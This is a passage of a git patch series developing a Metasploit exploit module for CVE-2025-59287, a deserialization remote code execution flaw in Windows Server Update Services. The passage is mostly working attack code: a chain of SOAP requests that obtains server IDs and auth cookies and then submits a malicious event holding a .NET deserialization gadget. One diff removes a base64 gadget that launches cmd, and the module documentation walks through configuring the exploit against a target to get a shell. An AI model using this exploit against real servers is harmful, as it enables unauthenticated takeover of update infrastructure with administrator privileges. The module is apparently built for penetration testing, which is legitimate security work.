send_request_cgi({ - 'uri' => normalize_uri('ClientWebService','Client.asmx'), + 'uri' => normalize_uri('ClientWebService', 'Client.asmx'), 'method' => 'POST', - 'headers' => {'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie'}, + 'headers' => { 'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie' }, 'ctype' => 'text/xml', 'data' => soap_body }) + fail_with(Failure::UnexpectedReply, 'Unexpected response while getting reporting parameters') unless res&.code == 200 + xml = res.get_xml_document - xml.remove_namespaces! + xml.remove_namespaces! @encrypted_data = xml.xpath('//EncryptedData').text.to_s @expiration = xml.xpath('//Expiration').text.to_s - #TODO: add XML data check + fail_with(Failure::Unknown, 'Failed to get reporting parameters') unless @encrypted_data && @expiration end - def create_malicious_even - timenow = Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") - serialized_payload = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate( - payload.encoded, # this is the Operating System command to run - gadget_chain: :TextFormattingRunProperties, + def create_malicious_event + timenow = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ') + payload_data = ::Msf::Util::DotNetDeserialization.generate( + payload.encoded, + gadget_chain: :WindowsIdentity, formatter: :SoapFormatter - )) - - payload_data = %Q<Binaryfalse1033false1AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==> - + ) - soap_body = %Q< + soap_body = %( @@ -196,29 +193,46 @@ def create_malicious_even -> +) - send_request_cgi({ - 'uri' => normalize_uri('ReportingWebService','ReportingWebService.asmx'), + res = send_request_cgi({ + 'uri' => normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'method' => 'POST', 'headers' => { 'SOAPAction' => '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"', - 'User-Agent' =>'Windows-Update-Agent', + 'User-Agent' => 'Windows-Update-Agent' }, 'ctype' => 'text/xml', 'data' => soap_body }) - + fail_with(Failure::UnexpectedReply, 'Unexpected response while creating malicious report') unless res&.code == 200 + + xml = res.get_xml_document + xml.remove_namespaces! + fail_with(Failure::PayloadFailed, 'Failed to create malicious report') unless xml.xpath('//ReportEventBatchResult').text.to_s == 'true' end + ## + # Could not find better way to check if target is running vulnerable WSUS, leaving it for now with checking for presence of WSUS + ## def check - CheckCode::Vulnerable + res = send_request_cgi({ + 'method' => 'GET' + }) + return CheckCode::Safe('Target does not run WSUS') unless res&.code == 200 && res.headers['Server'] == 'Microsoft-IIS/10.0' + + CheckCode::Appears('Target is probably running WSUS') end def exploit - @server_id = get_server_id - @auth_cookie = get_auth_cookie - get_reporting_cookie - create_malicious_even + vprint_status('Getting server ID') + get_server_id + vprint_status('Getting authentication cookie') + get_auth_cookie + vprint_status('Getting reporting cookie') + get_reporting_parameters + vprint_status('Trying to create malicious event') + create_malicious_event + vprint_status('Created malicious event, now waiting for WSUS to sync') end end From f195ebd453e78aa37e3e69000f2bedcfc2c96e58 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 4 Nov 2025 13:36:33 +0100 Subject: [PATCH 05/13] Code refactor --- .../windows/http/wsus_deserialization_rce.rb | 70 ++++++------------- 1 file changed, 21 insertions(+), 49 deletions(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index d71fa3742ecbf..34d929ff99f9c 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -46,6 +46,23 @@ def initialize(info = {}) ) end + def get_soap_response_xml(path, soap_action, data) + res = send_request_cgi({ + 'uri' => path, + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soap_action + }, + 'ctype' => 'text/xml', + 'data' => data + }) + + fail_with(Failure::UnexpectedReply, 'Received unexpected response from WSUS') unless res&.code == 200 + xml = res.get_xml_document + xml.remove_namespaces! + xml + end + def get_server_id soap_body = %( @@ -56,20 +73,7 @@ def get_server_id ) - res = send_request_cgi({ - 'uri' => normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), - 'method' => 'POST', - 'headers' => { - 'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration' - }, - 'ctype' => 'text/xml', - 'data' => soap_body - }) - - fail_with(Failure::UnexpectedReply, 'Unexpected response while getting server ID') unless res&.code == 200 - - xml = res.get_xml_document - xml.remove_namespaces! + xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration', soap_body) @server_id = xml.xpath('//ServerId').text.to_s @@ -87,18 +91,8 @@ def get_auth_cookie ) - res = send_request_cgi({ - 'uri' => normalize_uri('SimpleAuthWebService', 'SimpleAuth.asmx'), - 'method' => 'POST', - 'headers' => { 'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie' }, - 'ctype' => 'text/xml', - 'data' => soap_body - }) - fail_with(Failure::UnexpectedReply, 'Unexpected response while getting authentication cookie') unless res&.code == 200 - - xml = res.get_xml_document - xml.remove_namespaces! + xml = get_soap_response_xml(normalize_uri('SimpleAuthWebService', 'SimpleAuth.asmx'), 'http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie', soap_body) @auth_cookie = xml.xpath('//CookieData').text.to_s @@ -125,18 +119,8 @@ def get_reporting_parameters ) - res = send_request_cgi({ - 'uri' => normalize_uri('ClientWebService', 'Client.asmx'), - 'method' => 'POST', - 'headers' => { 'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie' }, - 'ctype' => 'text/xml', - 'data' => soap_body - }) - fail_with(Failure::UnexpectedReply, 'Unexpected response while getting reporting parameters') unless res&.code == 200 - - xml = res.get_xml_document - xml.remove_namespaces! + xml = get_soap_response_xml(normalize_uri('ClientWebService', 'Client.asmx'), 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie', soap_body) @encrypted_data = xml.xpath('//EncryptedData').text.to_s @expiration = xml.xpath('//Expiration').text.to_s @@ -195,20 +179,8 @@ def create_malicious_event ) - res = send_request_cgi({ - 'uri' => normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), - 'method' => 'POST', - 'headers' => { - 'SOAPAction' => '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"', - 'User-Agent' => 'Windows-Update-Agent' - }, - 'ctype' => 'text/xml', - 'data' => soap_body - }) - fail_with(Failure::UnexpectedReply, 'Unexpected response while creating malicious report') unless res&.code == 200 + xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/ReportEventBatch', soap_body) - xml = res.get_xml_document - xml.remove_namespaces! fail_with(Failure::PayloadFailed, 'Failed to create malicious report') unless xml.xpath('//ReportEventBatchResult').text.to_s == 'true' end From 5ad76f82d1ab7362fb4f7ba0bcee3ef103cc592d Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 4 Nov 2025 13:49:43 +0100 Subject: [PATCH 06/13] Adds more docs, adds description --- .../windows/http/wsus_deserialization_rce.md | 20 +++++++++++-------- .../windows/http/wsus_deserialization_rce.rb | 1 + 2 files changed, 13 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/windows/http/wsus_deserialization_rce.md b/documentation/modules/exploit/windows/http/wsus_deserialization_rce.md index b9568740590bf..9415dd0c75dc9 100644 --- a/documentation/modules/exploit/windows/http/wsus_deserialization_rce.md +++ b/documentation/modules/exploit/windows/http/wsus_deserialization_rce.md @@ -1,17 +1,21 @@ ## Vulnerable Application -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install -files, as well as instructions on installing/configuring the environment if it is different than a -standard install. Much of this will come from the PR, and can be copy/pasted. +Provides features for managing and distributing updates through a management console. +The [CVE-2025-59287](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-59287) is a remote code execution vulnerability in +this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync. +One way to run synchronization is to open the `Windows Server Update Service` app, +the other is to run the following command from PowerShell: + +`(Get-WsusServer).GetSubscription().GetLastSynchronizationInfo()` ## Verification Steps -Example steps in this format (is also in the PR): -1. Install the application -1. Start msfconsole -1. Do: `use [module path]` +1. Setup WSUS on target server +1. Do: `use exploit/windows/http/wsus_deserialization_rce` +1. Do: `set RHOSTS [target IP]` +1. Do: `set LHOST [attacker IP]` +1. Do: `set LPORT [attacker port]` 1. Do: `run` -1. You should get a shell. ## Options diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index 34d929ff99f9c..0a77a1d67dfbf 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -15,6 +15,7 @@ def initialize(info = {}) info, 'Name' => 'Windows Server Update Service Deserialization Remote Code Execution', 'Description' => %q{ + This module exploits deserialization vulnerability in legacy serialization mechanism in Windows Server Update Services (WSUS). The vulnerability allows unauthenticated attacker to create specially crafted event, which triggers unsafe deserialization upon server synchronization. The module does not require any other options and upon successful exploitation, the payload is executed in context of administrator. }, 'License' => MSF_LICENSE, 'Author' => [ From f586fff090f6b6aec88b7199394137ee800e2725 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 6 Nov 2025 14:46:02 +0100 Subject: [PATCH 07/13] Adds clear message if exploit fails --- modules/exploits/windows/http/wsus_deserialization_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index 0a77a1d67dfbf..75e9fa704b53f 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -182,7 +182,7 @@ def create_malicious_event xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/ReportEventBatch', soap_body) - fail_with(Failure::PayloadFailed, 'Failed to create malicious report') unless xml.xpath('//ReportEventBatchResult').text.to_s == 'true' + fail_with(Failure::PayloadFailed, 'Failed to create malicious report, target might be not vulnerable') unless xml.xpath('//ReportEventBatchResult').text.to_s == 'true' end ## From cb0011649c075dc125160d86f2665dcaa9c3fbcb Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 6 Nov 2025 14:50:31 +0100 Subject: [PATCH 08/13] Adds SCREEN_EFFECTS to SideEffects --- modules/exploits/windows/http/wsus_deserialization_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index 75e9fa704b53f..8a54f0cda137c 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS, IOC_IN_LOGS ] + 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS ] } ) ) From 904e7526625ba5b55c3ce63493d62ca338f3ece3 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 6 Nov 2025 14:52:49 +0100 Subject: [PATCH 09/13] Code refactor --- modules/exploits/windows/http/wsus_deserialization_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index 8a54f0cda137c..09dfe1bff4e95 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS ] + 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] } ) ) From b0afe5e24bf8b2a28ed3b6847ae508843dc173bf Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 6 Nov 2025 15:06:30 +0100 Subject: [PATCH 10/13] Randomizes parameters that can be randomized --- modules/exploits/windows/http/wsus_deserialization_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index 09dfe1bff4e95..c742a8401882a 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -109,7 +109,7 @@ def get_reporting_parameters -SimpleTargeting +#{Rex::Text.rand_text_alpha_lower(8..12)} #{@auth_cookie} @@ -162,7 +162,7 @@ def create_malicious_event 0 0 -LocalServer +#{Rex::Text.rand_text_alpha_lower(4..8)} From 570c7c0bf4c82ce320e969c840500e59f2d5ca5a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 6 Nov 2025 16:21:42 +0100 Subject: [PATCH 11/13] Changes CheckCode to Detected --- modules/exploits/windows/http/wsus_deserialization_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index c742a8401882a..3f6ea9f3ade99 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -194,7 +194,7 @@ def check }) return CheckCode::Safe('Target does not run WSUS') unless res&.code == 200 && res.headers['Server'] == 'Microsoft-IIS/10.0' - CheckCode::Appears('Target is probably running WSUS') + CheckCode::Detected('Target is probably running WSUS') end def exploit From 5ea47e5ac336bb065d5363138559be33127ea43d Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 6 Nov 2025 16:46:58 +0100 Subject: [PATCH 12/13] Adds formatting to XML data, adds automatic plugin ID extraction --- .../windows/http/wsus_deserialization_rce.rb | 166 +++++++++--------- 1 file changed, 87 insertions(+), 79 deletions(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index 3f6ea9f3ade99..e0ac1a166e812 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -65,14 +65,16 @@ def get_soap_response_xml(path, soap_action, data) end def get_server_id - soap_body = %( - - - - - - -) + soap_body = <<~XML + + + + + + + + + XML xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration', soap_body) @@ -82,44 +84,48 @@ def get_server_id end def get_auth_cookie - soap_body = %( - - - -#{@server_id} - -#{Rex::Text.rand_text_alpha_lower(4..8)} - - -) + soap_body = <<~XML + + + + + #{@server_id} + + #{Rex::Text.rand_text_alpha_lower(4..8)} + + + + XML xml = get_soap_response_xml(normalize_uri('SimpleAuthWebService', 'SimpleAuth.asmx'), 'http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie', soap_body) @auth_cookie = xml.xpath('//CookieData').text.to_s - - fail_with(Failure::Unknown, 'Failed to get authentication cookie') unless @auth_cookie + @plugin_id = xml.xpath('//PlugInId').text.to_s + fail_with(Failure::Unknown, 'Failed to get authentication cookie') unless @auth_cookie && @plugin_id end def get_reporting_parameters timenow = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ') - soap_body = %( - - - - - -#{Rex::Text.rand_text_alpha_lower(8..12)} -#{@auth_cookie} - - - -#{timenow} -#{timenow} -1.20 - - -) + soap_body = <<~XML + + + + + + + #{@plugin_id} + #{@auth_cookie} + + + + #{timenow} + #{timenow} + 1.20 + + + + XML xml = get_soap_response_xml(normalize_uri('ClientWebService', 'Client.asmx'), 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie', soap_body) @@ -137,48 +143,50 @@ def create_malicious_event formatter: :SoapFormatter ) - soap_body = %( - - - -#{@expiration} -#{@encrypted_data} - -#{timenow} - - - - -#{SecureRandom.uuid.strip} - -0 -#{timenow} -#{SecureRandom.uuid.strip} -2 -389 -301 - -00000000-0000-0000-0000-000000000000 -0 - -0 -#{Rex::Text.rand_text_alpha_lower(4..8)} - - - -Administrator=SYSTEM -SynchronizationUpdateErrorsKey=#{Rex::Text.html_encode(payload_data)} - - - - - - - - - - -) + soap_body = <<~XML + + + + + #{@expiration} + #{@encrypted_data} + + #{timenow} + + + + + #{SecureRandom.uuid.strip} + + 0 + #{timenow} + #{SecureRandom.uuid.strip} + 2 + 389 + 301 + + 00000000-0000-0000-0000-000000000000 + 0 + + 0 + #{Rex::Text.rand_text_alpha_lower(4..8)} + + + + Administrator=SYSTEM + SynchronizationUpdateErrorsKey=#{Rex::Text.html_encode(payload_data)} + + + + + + + + + + + + XML xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/ReportEventBatch', soap_body) From fc434414d3012e286dc2e3b0efa22862152937bf Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 10 Nov 2025 16:54:49 +0100 Subject: [PATCH 13/13] Randomizes XML paramater --- modules/exploits/windows/http/wsus_deserialization_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index e0ac1a166e812..a5323b7580c16 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -165,7 +165,7 @@ def create_malicious_event 389 301 - 00000000-0000-0000-0000-000000000000 + #{SecureRandom.uuid.strip} 0 0